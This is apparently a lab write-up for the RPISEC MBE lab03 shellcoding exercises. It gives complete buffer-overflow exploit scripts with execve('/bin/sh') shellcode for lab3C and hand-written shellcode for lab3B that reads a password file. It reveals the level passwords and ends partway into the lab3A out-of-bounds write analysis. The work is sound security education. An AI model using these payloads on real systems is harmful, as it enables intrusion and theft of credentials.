The last writeup for RPISEC/MBE lab02 dealt with the subject of Memory Corruption. We used different buffer-overflow vulnerabilities to execute a predefined function shell
, which kindly spawned a shell for us. In real life there usually isn’t such a function, we can simply call. Thus we have to inject our own code. Accordingly the next lab described in this writeup brings up the topic of Shellcoding.
Yet again there are three levels ranging from C to A:
–> lab3C
–> lab3B
–> lab3A
lab3C
We start by connecting to the first level of lab03 using the credentials lab3C with the password lab03start:
gameadmin@warzone:~$ sudo ssh lab3C@localhost lab3C@localhost's password: (lab03start) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Sat Jan 27 04:47:50 2018 from localhost
In this lab we will have access to the source code like in lab02:
lab3C@warzone:/levels/lab03$ cat lab3C.c #include <stdlib.h> #include <stdio.h> #include <string.h> /* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */ char a_user_name[100]; int verify_user_name() { puts("verifying username....\n"); return strncmp(a_user_name, "rpisec", 6); } int verify_user_pass(char *a_user_pass) { return strncmp(a_user_pass, "admin", 5); } int main() { char a_user_pass[64] = {0}; int x = 0; /* prompt for the username - read 100 byes */ printf("********* ADMIN LOGIN PROMPT *********\n"); printf("Enter Username: "); fgets(a_user_name, 0x100, stdin); /* verify input username */ x = verify_user_name(); if (x != 0){ puts("nope, incorrect username...\n"); return EXIT_FAILURE; } /* prompt for admin password - read 64 bytes */ printf("Enter Password: \n"); fgets(a_user_pass, 0x64, stdin); /* verify input password */ x = verify_user_pass(a_user_pass); if (x == 0 || x != 0){ puts("nope, incorrect password...\n"); return EXIT_FAILURE; } return EXIT_SUCCESS; }
What does the program do?
–> At first there’s a prompt for a username (line 27).
–> The call to fgets
on line 28 reads a maximum of 0x100 = 256
bytes into a_user_name
.
–> The function verify_user_name
(called on line 31) compares the first 6 characters of the user-input with rpisec
.
– If the comparison fails, the program quits with EXIT_FAILURE
.
– If the comparison succeeds, another prompt for a password is printed (line 38).
–> The 2nd call to fgets
on line 39 reads a maximum of 0x64 = 100
bytes into a_user_pass
.
–> The function verify_user_pass
(called on line 42) compares the first 5 characters of the user-input with admin
.
– If the comparison fails, the program quits with EXIT_FAILURE
.
– If the comparison succeeds, the program quits with EXIT_SUCCESS
.
As you may have noticed there are two overflow vulnerabilities. The first call to fgets
on line 28 reads a maximum of 256 bytes. The buffer used (a_user_name
) is only 100 bytes long. Another thing to notice here is that the buffer a_user_name
is defined at global scope. Also the second call to fgets
on line 39 may cause an overflow. The buffer used (a_user_pass
) is 64 bytes long, but the call to fgets
reads a maximum of 100 bytes. The variable a_user_pass
is defined at the local scope of the function main
.
So we have got two buffers we could overflow. In addition to the size these buffers differ in their location within the binary.
a_user_name
is defined at global space. These kind of variables are stored within the .data
section for initalized variables and within the .bss
section for uninitalized variables. As a_user_name
is not initalized it’s stored in the .bss
section. We can verifiy that using r2
:
[0x08048640]> iS ... idx=23 vaddr=0x08049c0c paddr=0x00000c0c sz=8 vsz=8 perm=-rw- name=.data idx=24 vaddr=0x08049c20 paddr=0x00000c14 sz=132 vsz=132 perm=-rw- name=.bss ... [0x08048640]> is~a_user_name vaddr=0x08049c40 paddr=0x00001c40 ord=070 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=a_user_name
The command iS
prints all sections and is
displays all symbols. As we can see the symbol a_user_name
is located within the .bss
section.
Because a_user_pass
is defined as a local variable of the function main
, it is stored on the stack as we have seen with other local variables in the previous labs.
Which buffer can we use for what purpose?
–> Only a_user_pass
can be used to overwrite the return address because a_user_name
is not stored on the stack
–> Because ASLR is disabled yet and a_user_name
is stored at a static location, we can use it for the shellcode we want to execute
We could also store our shellcode within a_user_pass
but it’s more difficult to determine the exact location of a_user_pass
since it is stored on the stack and the stack addresses may vary depending on the environment. Thus the address of a_user_pass
identified by using gdb
could be not the same as if the binary is directly executed.
overwrite return address
As we have already figured out, a_user_pass
is stored on the stack and can be overflowed by 100 – 64 = 36 bytes. This should suffice to overwrite the return address of the function main
. In order to set the return address to a value of our desire we have to know the offset from the buffer to the return address. As in the last lab this can be done by using a long enough pattern to overflow the buffer and see which memory-address caused a segmentation fault.
The program only reads a password, if the username’s first 6 bytes equal "rpisec"
. I wrote a little python-script to create our input to the program:
lab3C@warzone:~$ cat /tmp/pattern.py import sys print("rpisec") for i in range(26): sys.stdout.write(chr(i+0x41)*4)
On line 3 the username is printed in order to bypass the function verify_user_name
. The loop on lines 5-6 prints 4 characters of each character within the the alphabet ("AAAABBBBCCCCDDDD..."
).
After we have stored the input in a temporary file /tmp/out3C
we can start up gdb
and run the binary with the input:
lab3C@warzone:/levels/lab03$ python /tmp/pattern.py > /tmp/out3C lab3C@warzone:/levels/lab03$ gdb lab3C Reading symbols from lab3C...(no debugging symbols found)...done. gdb-peda$ r < /tmp/out3C Starting program: /levels/lab03/lab3C < /tmp/out3C ********* ADMIN LOGIN PROMPT ********* Enter Username: verifying username.... Enter Password: nope, incorrect password... Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x52525252 ('RRRR') ECX: 0xb7fd8000 ("\nope, incorrect password...\nername....\n") EDX: 0xb7fce898 --> 0x0 ESI: 0x0 EDI: 0x53535353 ('SSSS') EBP: 0x54545454 ('TTTT') ESP: 0xbffff720 ("VVVVWWWWXXXXYYY") EIP: 0x55555555 ('UUUU') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x55555555 [------------------------------------stack-------------------------------------] 0000| 0xbffff720 ("VVVVWWWWXXXXYYY") 0004| 0xbffff724 ("WWWWXXXXYYY") 0008| 0xbffff728 ("XXXXYYY") 0012| 0xbffff72c --> 0x595959 ('YYY') 0016| 0xbffff730 --> 0x1 0020| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 ("/levels/lab03/lab3C") 0024| 0xbffff738 --> 0xbffff754 --> 0x97afed87 0028| 0xbffff73c --> 0x8049c04 --> 0xb7e3c990 (<__libc_start_main>: push ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x55555555 in ?? ()
A segmentation fault is raised when accessing the address 0x55555555
(= "UUUU"
). Now we can calculate the offset to the return address:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU... ----------------------------------------------------------------------------XXXX--- (0x55-0x41)*4 = 80 bytes return address
Thus if we write 80 bytes + the address of our shellcode to a_user_pass
, the shellcode will be executed when the function main
returns.
shellcode
The next thing to do is to choose a shellcode and store it at an address we know.
As for now we don’t write our own shellcode and just take a publicly available shellcode which fits our needs.
I took the following shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php which simply calls execve("/bin/sh")
:
31 c0 xor eax, eax 50 push eax 68 2f 2f 73 68 push 0x68732f2f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx, esp 89 c1 mov ecx, eax 89 c2 mov edx, eax b0 0b mov al, 0xb cd 80 int 0x80 31 c0 xor eax, eax 40 inc eax cd 80 int 0x80
On lines 3-4 the string "/bin//sh"
is pushed on the stack. On line 8 eax
is set to 0xb
identifying the syscall sys_execve
, which is called using an interrupt int 0x80
on line 9. The second syscall on line 12 calls sys_exit
(eax = 0x1
) to gracefully quit the program.
As we pointed out, we can store our shellcode in a_user_name
. In order to bypass the verify_user_name
check, the first 6 bytes of the buffer need to be "rpisec"
. Again we can use a python-script to generate our input to the program:
lab3C@warzone:~$ cat /tmp/input.py import sys shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\ "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40"\ "\xcd\x80" print("rpisec" + shellcode) print("A"*80 + "\x46\x9c\x04\x08")
Lines 3-4 define the shellcode we chose. On line 6 the input for the a_user_name
buffer is defined. On line 7 we print 80 bytes to match the formerly calculated offset to the return address, followed by the address 0x08049c46
. This address is simply calculated by taking the address of a_user_name
we already figured out = 0x08049c40 + 6 bytes offset for "rpisec"
.
Now we can store the output of the python-script in a temporary file and run the program using the file as input:
lab3C@warzone:/levels/lab03$ python /tmp/input.py > /tmp/out3C lab3C@warzone:/levels/lab03$ (cat /tmp/out3C; cat) | ./lab3C ********* ADMIN LOGIN PROMPT ********* Enter Username: verifying username.... Enter Password: nope, incorrect password... whoami lab3B cat /home/lab3B/.pass th3r3_iz_n0_4dm1ns_0n1y_U!
Done 🙂 The password for the next level is th3r3_iz_n0_4dm1ns_0n1y_U!
.
lab3B
We connect using the credentials gained in the last level: lab3B with the password th3r3_iz_n0_4dm1ns_0n1y_U!:
gameadmin@warzone:~$ sudo ssh lab3B@localhost lab3B@localhost's password: (th3r3_iz_n0_4dm1ns_0n1y_U!) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Sat Jan 20 21:21:46 2018 from localhost
Let’s have a look at the provided source code:
lab3B@warzone:/levels/lab03$ cat lab3B.c #include <signal.h> #include <assert.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/reg.h> #include <sys/prctl.h> #include <wait.h> #include "utils.h" ENABLE_TIMEOUT(60) /* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */ /* hint: write shellcode that opens and reads the .pass file. ptrace() is meant to deter you from using /bin/sh shellcode */ int main() { pid_t child = fork(); char buffer[128] = {0}; int syscall = 0; int status = 0; if(child == 0) { prctl(PR_SET_PDEATHSIG, SIGHUP); ptrace(PTRACE_TRACEME, 0, NULL, NULL); /* this is all you need to worry about */ puts("just give me some shellcode, k"); gets(buffer); } else { /* mini exec() sandbox, you can ignore this */ while(1) { wait(&status); if (WIFEXITED(status) || WIFSIGNALED(status)){ puts("child is exiting..."); break; } /* grab the syscall # */ syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL); /* filter out syscall 11, exec */ if(syscall == 11) { printf("no exec() for you\n"); kill(child, SIGKILL); break; } } } return EXIT_SUCCESS; }
The comment on lines 16-17 gives us a hint what this level is about: we have to write a shellcode which open and reads the .pass
file. This time we cannot spawn a shell, because ptrace
prevents us from using the syscall sys_execve
.
As stated in the comments, the greatest part of the source code implements the prevention of calling sys_execve
. The program forks a new process and the parent process (else-branch from line 37 onwards) uses ptrace
to notice if the child tries to execute the syscall sys_execve
(line 47). If sys_execve
is called, the parent process kills the child process (line 53).
In the child process a message to enter shellcode is displayed (line 32) and gets
is called to read a user input into the 128 byte long buffer
(line 33). Obviously we can input a string longer than 128 bytes and thus overflow this buffer. Because the buffer is a local variable of the function main
, it is stored on the stack and we can overwrite the return address of main
.
At first let’s determine the location of the return address and then calculate the offset from our buffer. As in the last labs we can use a little python-script to generate the pattern:
lab3B@warzone:/levels/lab03$ cat /tmp/lab3B_pattern2.py import sys sys.stdout.write("X" * 128) for i in range(10): sys.stdout.write(chr(i+0x41)*4)
The python script prints "X"
128 times to fill the buffer and then appends the pattern "AAAABBBBCCCC..."
.
We store the output of the script in a temporary file and then input the file to the program using gdb
:
lab3B@warzone:/levels/lab03$ python /tmp/lab3B_pattern2.py > /tmp/out3B lab3B@warzone:/levels/lab03$ gdb lab3B Reading symbols from lab3B...(no debugging symbols found)...done. gdb-peda$ r < /tmp/out3B Starting program: /levels/lab03/lab3B < /tmp/out3B [New process 8528] just give me some shellcode, k Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done. Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done. Program received signal SIGSEGV, Segmentation fault. [Switching to process 8528] [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x45454545 ('EEEE') ECX: 0xfbad2098 EDX: 0xb7fce8a4 --> 0x0 ESI: 0x0 EDI: 0x46464646 ('FFFF') EBP: 0x47474747 ('GGGG') ESP: 0xbffff720 ("IIIIJJJJ") EIP: 0x48484848 ('HHHH') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x48484848 [------------------------------------stack-------------------------------------] 0000| 0xbffff720 ("IIIIJJJJ") 0004| 0xbffff724 ("JJJJ") 0008| 0xbffff728 --> 0xbffff700 ("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ") 0012| 0xbffff72c --> 0xb7feccea (<call_init+26>: add ebx,0x12316) 0016| 0xbffff730 --> 0x1 0020| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 ("/levels/lab03/lab3B") 0024| 0xbffff738 --> 0xbffff754 --> 0xb7c2f14f 0028| 0xbffff73c --> 0x8049e80 --> 0xb7e3c990 (<__libc_start_main>: push ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x48484848 in ?? ()
A segmentation fault is raised when accessing the address 0x48484848
("HHHH"
). We can now calculate the offset to the return address:
XXX ... 128 times ... AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ --------------------------------------------------XXXX 156 byte return address
The offset from the beginning of the buffer to the return address is 156 bytes.
With the output above we can also determine at which address the buffer is stored:
gdb-peda$ x/s 0xbffff700 0xbffff700: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" gdb-peda$ x/s 0xbffff680 0xbffff680: 'X' <repeats 128 times>, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
As we can see the buffer is stored at 0xbffff680
. This may vary when executing the binary without gdb
, but it will still give us a point to start.
Since we have control over the instruction pointer now, we have to choose what we want to execute. In the last level we just used a prepared shellcode which calls execve
with "/bin/sh"
. Since we are forbidden to use the syscall execve
now, we have to write our own shellcode.
When writing shellcode we can use syscalls to interact with the operating system. In order to carry out the requested actions of a syscall the core of the operating system (the kernel) needs to execute privileged operations like directly accessing the hardware. Because of this the kernel usually runs in a higher privileged ring (ring 0
) while ordinary user processes run in a lower privileged ring (ring 3
). In order to switch from userspace to kernelspace a process uses an interrupt, which passes the control to an interrupt vector. In the case of a syscall on the x86-platform the interrupt 0x80
is used to pass the control to the kernel in order to carry out a requested syscall. As the kernel has to know which syscall should be executed and what parameters are to be used, the process has to set these parameters in the registers. The register eax
defines which syscall should be executed. The registers ebx
, ecx
, edx
, esi
and edi
are used to pass arguments to the syscall.
As we have already figured out, our shellcode should read the .pass
file, which is located in the directory /home/lab3A/
and then print its contents.
An overview of the linux syscalls can be found here: https://syscalls.kernelgrok.com
Let’s start by writing our shellcode in c only using syscalls:
char buf[100]; int fd = open("/home/lab3A/.pass", O_RDONLY); read(fd, buf, 100); write(stdout, buf, 100);
That’s simply it. On line 1 we define a buffer where the contents of the .pass
file should be read to. On line 2 the syscall open
is used to open the .pass
file and get a filehandle (fd
) to the open file. This filehandle can than be passed to the syscall read
in order to store the contents of the file in the buffer buf
(line 3). As for now the contents are only within the buffer we have to print them using the syscall write
on line 4.
Of course we could also compile our source code and extract the shellcode, but for learning purpose we want to manually write our shellcode in assembler.
There are a few things consider when writing assembler code:
In the above c source code we created a local buffer buf
:
char buf[100];
As we have already seen in the last labs, local variables are stored on the stack. Thus we can create thus a local buffer like this:
sub esp, 100 mov ecx, esp ; buf
On line 1 100 is subtracted from esp
. As the stack grows from bottom to top this is how we reserve 100 bytes on the stack. The top of the stack now points to the first byte of our buffer. Thus we can access the buffer using esp
. On line 2 the buffer address is stored in ecx
.
Another thing to consider are strings. In the c source code we just passed a constant string to the syscall open
:
int fd = open("/home/lab3A/.pass", O_RDONLY);
In a binary such constant strings are usually stored in the data section
. As for our shellcode we can just use the stack again to store such a string.
Before that we have to do some preparations. The string want to store is "/home/lab3A/.pass"
. We start by hex-encoding our string:
lab3B@warzone:/levels/lab03$ python -c 'print("/home/lab3A/.pass".encode("hex"))' 2f686f6d652f6c616233412f2e70617373
Values can be moved on the stack using the push
instruction. We have to consider that only 4 bytes at a time can be pushed and that those 4 bytes are interpreted as a DWORD and thus are stored as little endian.
We start by splitting the hex-encoded string into groups of 4 bytes:
/ h o m e / l a b 3 A / . p a s s 2f686f6d 652f6c61 6233412f 2e706173 73
Now we convert these values to little endian:
m o h / a l / e / A 3 b s a p . s 6d6f682f 616c2f65 2f413362 7361702e 73
And push the resulting values in reverse order since the start of the string has to be placed first in memory:
push 0x73 push 0x7361702e push 0x2f413362 push 0x616c2f65 push 0x6d6f682f
That’s it. After the execution of all push
instructions esp
points to the beginning of our string "/home/lab3A/.pass"
.
Combining all this we can write the final assembler code:
segment .text global _start _start: push 0x73 push 0x7361702e push 0x2f413362 push 0x616c2f65 push 0x6d6f682f mov eax, 0x5 ; 5 = sys_open mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 sub esp, 100 mov ebx, eax mov eax, 0x3 ; 3 = sys_read mov ecx, esp ; buf mov edx, 100 int 0x80 mov eax, 0x4 ; 4 = sys_write mov ebx, 1 ; stdout mov ecx, esp mov edx, 100 int 0x80
On lines 6-10 the string "/home/lab3A/.pass"
is pushed on the stack. The address of the string is moved to ecx
(line 13), which is one of the arguments passed to the syscall open
(lines 12-16). On line 18 esp
is decreased by 100 in order to reserve space on the stack for a buffer passed as argument to the syscall read
(lines 19-23). And finally the read buffer is printed using the syscall write
(lines 25-29).
Now we can use nasm
and ld
to test our shellcode.
At first I created a .pass
file with some secret content in the target directory on my local system:
root@kali:~# mkdir /home/lab3A root@kali:~# echo "secret_content" > /home/lab3A/.pass
Next nasm
and ld
can be used to create a executable binary:
root@kali:~# nasm -felf -o shellcode.o shellcode.asm root@kali:~# ld -melf_i386 shellcode.o -o shellcode root@kali:~# ./shellcode secret_content Segmentation fault
Great! The content of the .pass
file is displayed. After that the program raises a segmentation fault because we don’t gracefully shut it down, but that should not matter for now.
Now we have to add our shellcode to the python script we used formerly to determine the location of the return address.
We can use r2
to extract the shellcode hex string from the binary we created:
[0x08048060]> pdf @ entry0 ;-- section..text: ;-- _start: / (fcn) entry0 234 | entry0 (); | 0x08048060 6a73 push 0x73 ; 's' ; 's' ; "hom\xb8\x05" ; section 1 va=0x08048060 pa=0x00000060 sz=73 vsz=73 rwx=--r-x .text | | 0x08048062 682e706173 push 0x7361702e | ||| 0x08048067 686233412f push 0x2f413362 | ||| 0x0804806c 68652f6c61 push 0x616c2f65 | ||| 0x08048071 682f686f6d push 0x6d6f682f | ||| 0x08048076 b805000000 mov eax, 5 | ||| 0x0804807b 89e3 mov ebx, esp | ||| 0x0804807d 31c9 xor ecx, ecx | ||| 0x0804807f 31d2 xor edx, edx | ||| 0x08048081 cd80 int 0x80 | ||| 0x08048083 83ec64 sub esp, 0x64 ; 'd' | ||| 0x08048086 89c3 mov ebx, eax | ||| 0x08048088 b803000000 mov eax, 3 | ||| 0x0804808d 89e1 mov ecx, esp | ||| 0x0804808f ba64000000 mov edx, 0x64 ; 'd' ; "pashb3A/he/lah/hom\xb8\x05" | ||| 0x08048094 cd80 int 0x80 | ||| 0x08048096 b804000000 mov eax, 4 | ||| 0x0804809b bb01000000 mov ebx, 1 | ||| 0x080480a0 89e1 mov ecx, esp | ||| 0x080480a2 ba64000000 mov edx, 0x64 ; 'd' ; "pashb3A/he/lah/hom\xb8\x05" | ||| 0x080480a7 cd80 int 0x80 ...
r2
can also print a buffer as a c-style declaration:
[0x08048060]> pc 73 @ entry0 #define _BUFFER_SIZE 73 const uint8_t buffer[73] = { 0x6a, 0x73, 0x68, 0x2e, 0x70, 0x61, 0x73, 0x68, 0x62, 0x33, 0x41, 0x2f, 0x68, 0x65, 0x2f, 0x6c, 0x61, 0x68, 0x2f, 0x68, 0x6f, 0x6d, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0xe3, 0x31, 0xc9, 0x31, 0xd2, 0xcd, 0x80, 0x83, 0xec, 0x64, 0x89, 0xc3, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00, 0x00, 0x00, 0xcd, 0x80, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00, 0x00, 0x00, 0xcd, 0x80 };
We have to adjust this a little bit to fit the python declaration and then finalize our python-script:
lab3B@warzone:/levels/lab03$ cat /tmp/lab3B_exploit.py import sys shellcode = "\x6a\x73\x68\x2e\x70\x61\x73\x68\x62\x33"\ "\x41\x2f\x68\x65\x2f\x6c\x61\x68\x2f\x68"\ "\x6f\x6d\xb8\x05\x00\x00\x00\x89\xe3\x31"\ "\xc9\x31\xd2\xcd\x80\x83\xec\x64\x89\xc3"\ "\xb8\x03\x00\x00\x00\x89\xe1\xba\x64\x00"\ "\x00\x00\xcd\x80\xb8\x04\x00\x00\x00\xbb"\ "\x01\x00\x00\x00\x89\xe1\xba\x64\x00\x00"\ "\x00\xcd\x80" sys.stdout.write("\x90"*(128-len(shellcode))) sys.stdout.write(shellcode) sys.stdout.write("\x90" * 28) sys.stdout.write("\x80\xf6\xff\xbf")
On line 13 a nop-sled followed by our shellcode (line 14) is printed. This will fill the 128 bytes of buffer. As we have figured out, the offset of the return address is 156 bytes. That’s why we must print another 28 bytes (line 15) followed by the address we want to write to the return address (line 17).
Let’s give it a try:
lab3B@warzone:/levels/lab03$ python /tmp/lab3B_exploit.py > /tmp/out3B lab3B@warzone:/levels/lab03$ ./lab3B < /tmp/out3B just give me some shellcode, k
Nothing is printed :/ Our shellcode was obviously not executed. What the reason for this?
The address we used to overwrite the return address was determined when analysing the binary with gdb
. Since gdb
is running in another environment the stack addresses may vary when executing the binary directly. We can simply adjust the address a little bit:
#sys.stdout.write("\x80\xf6\xff\xbf") sys.stdout.write("\x40\xf6\xff\xbf")
… and then retry our exploit:
lab3B@warzone:/levels/lab03$ python /tmp/lab3B_exploit.py > /tmp/out3B lab3B@warzone:/levels/lab03$ ./lab3B < /tmp/out3B just give me some shellcode, k wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd ...
Nice! 0xbffff640
worked 🙂
The password for the next level is wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
.
lab3A
Let’s get to the last level of this lab. The credentials are lab3A with the password wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd:
gameadmin@warzone:~$ sudo ssh lab3A@localhost lab3A@localhost's password: (wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Sun Jan 21 00:44:44 2018 from localhost
As usual the source code is located at /levels/lab03/
:
lab3A@warzone:/levels/lab03$ cat lab3A.c #include <stdlib.h> #include <stdio.h> #include <string.h> #include "utils.h" #define STORAGE_SIZE 100 /* gcc -Wall -z execstack -o lab3A lab3A.c */ /* get a number from the user and store it */ int store_number(unsigned int * data) { unsigned int input = 0; unsigned int index = 0; /* get number to store */ printf(" Number: "); input = get_unum(); /* get index to store at */ printf(" Index: "); index = get_unum(); /* make sure the slot is not reserved */ if(index % 3 == 0 || (input >> 24) == 0xb7) { printf(" *** ERROR! ***\n"); printf(" This index is reserved for quend!\n"); printf(" *** ERROR! ***\n"); return 1; } /* save the number to data storage */ data[index] = input; return 0; } /* returns the contents of a specified storage index */ int read_number(unsigned int * data) { unsigned int index = 0; /* get index to read from */ printf(" Index: "); index = get_unum(); printf(" Number at data[%u] is %u\n", index, data[index]); return 0; } int main(int argc, char * argv[], char * envp[]) { int res = 0; char cmd[20] = {0}; unsigned int data[STORAGE_SIZE] = {0}; /* doom doesn't like enviroment variables */ clear_argv(argv); clear_envp(envp); printf("----------------------------------------------------\n"\ " Welcome to quend's crappy number storage service! \n"\ "----------------------------------------------------\n"\ " Commands: \n"\ " store - store a number into the data storage \n"\ " read - read a number from the data storage \n"\ " quit - exit the program \n"\ "----------------------------------------------------\n"\ " quend has reserved some storage for herself :> \n"\ "----------------------------------------------------\n"\ "\n"); /* command handler loop */ while(1) { /* setup for this loop iteration */ printf("Input command: "); res = 1; /* read user input, trim newline */ fgets(cmd, sizeof(cmd), stdin); cmd[strlen(cmd)-1] = '\0'; /* select specified user command */ if(!strncmp(cmd, "store", 5)) res = store_number(data); else if(!strncmp(cmd, "read", 4)) res = read_number(data); else if(!strncmp(cmd, "quit", 4)) break; /* print the result of our command */ if(res) printf(" Failed to do %s command\n", cmd); else printf(" Completed %s command successfully\n", cmd); memset(cmd, 0, sizeof(cmd)); } return EXIT_SUCCESS; }
What does the program do?
–> In the main
function (beginning on line 54) an unsigned int
array called data
is defined (line 58)
–> The array contains 100 elements (STORAGE_SIZE
) which equals 400 byte (unsigned int
= 4 byte)
–> Passed arguments to the program and environment variables are cleared (line 61-62). This prevents us from placing shellcode there.
–> The command handler loop
(line 78) prompts the user to input a command, which is than executed.
–> There are three commands: store
(line 90), read
(line 92) and quit
(line 94)
–> When store
is entered, the function store_number
on line 11 is called.
– Within the function a number and an index can be entered (line 18, 22).
– The number is stored at the index within the data
array (line 35) if two conditions are met (line 25):
+ index
modulo 3
should not equal 0
+ the most significant byte of number
should not be 0xb7
–> When read
is entered, the function read_number
on line 41 is called and the value at a given index can be read.
–> When quit
is entered, the loop as well as the whole program is quit.
The first question is: Where is a vulnerability within the program?
Within the function store_number
an arbitrary index can be entered. The only condition is, that the equation index % 3 != 0
is fulfilled. There is no further boundary checking and we can thus write outside of the actual data
array. As the array is defined as a local variable in the main
function, it is stored on the stack and we can overwrite the return address of the main
function.
overwrite return address
In order to overwrite the return address we have to determine where the buffer and the return address are located on the stack and then calculate the offset. This can be done using gdb
:
lab3A@warzone:/levels/lab03$ gdb lab3A Reading symbols from lab3A...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x08048a12 <+0>: push ebp 0x08048a13 <+1>: mov ebp,esp 0x08048a15 <+3>: push edi 0x08048a16 <+4>: push ebx 0x08048a17 <+5>: and esp,0xfffffff0 0x08048a1a <+8>: sub esp,0x1c0 ... 0x08048b60 <+334>: lea eax,[esp+0x18] 0x08048b64 <+338>: mov DWORD PTR [esp],eax 0x08048b67 <+341>: call 0x8048917 <store_number> ... 0x08048c3a <+552>: pop ebp 0x08048c3b <+553>: ret End of assembler dump. gdb-peda$ b *main+341 Breakpoint 1 at 0x8048b67 gdb-peda$ b *main+553 Breakpoint 2 at 0x8048c3b
We set two breakpoints: The first one before the call to store_number
because the address of data
is passed as an argument and the second on at the ret
instruction of the main
function in order to determine the location of the return address.
Now we simply run the program:
gdb-peda$ r Starting program: /levels/lab03/lab3A ---------------------------------------------------- Welcome to quend's crappy number storage service! ---------------------------------------------------- Commands: store - store a number into the data storage read - read a number from the data storage quit - exit the program ---------------------------------------------------- quend has reserved some storage for herself :> ---------------------------------------------------- Input command: store
… and enter the command store
in order to get to our first breakpoint:
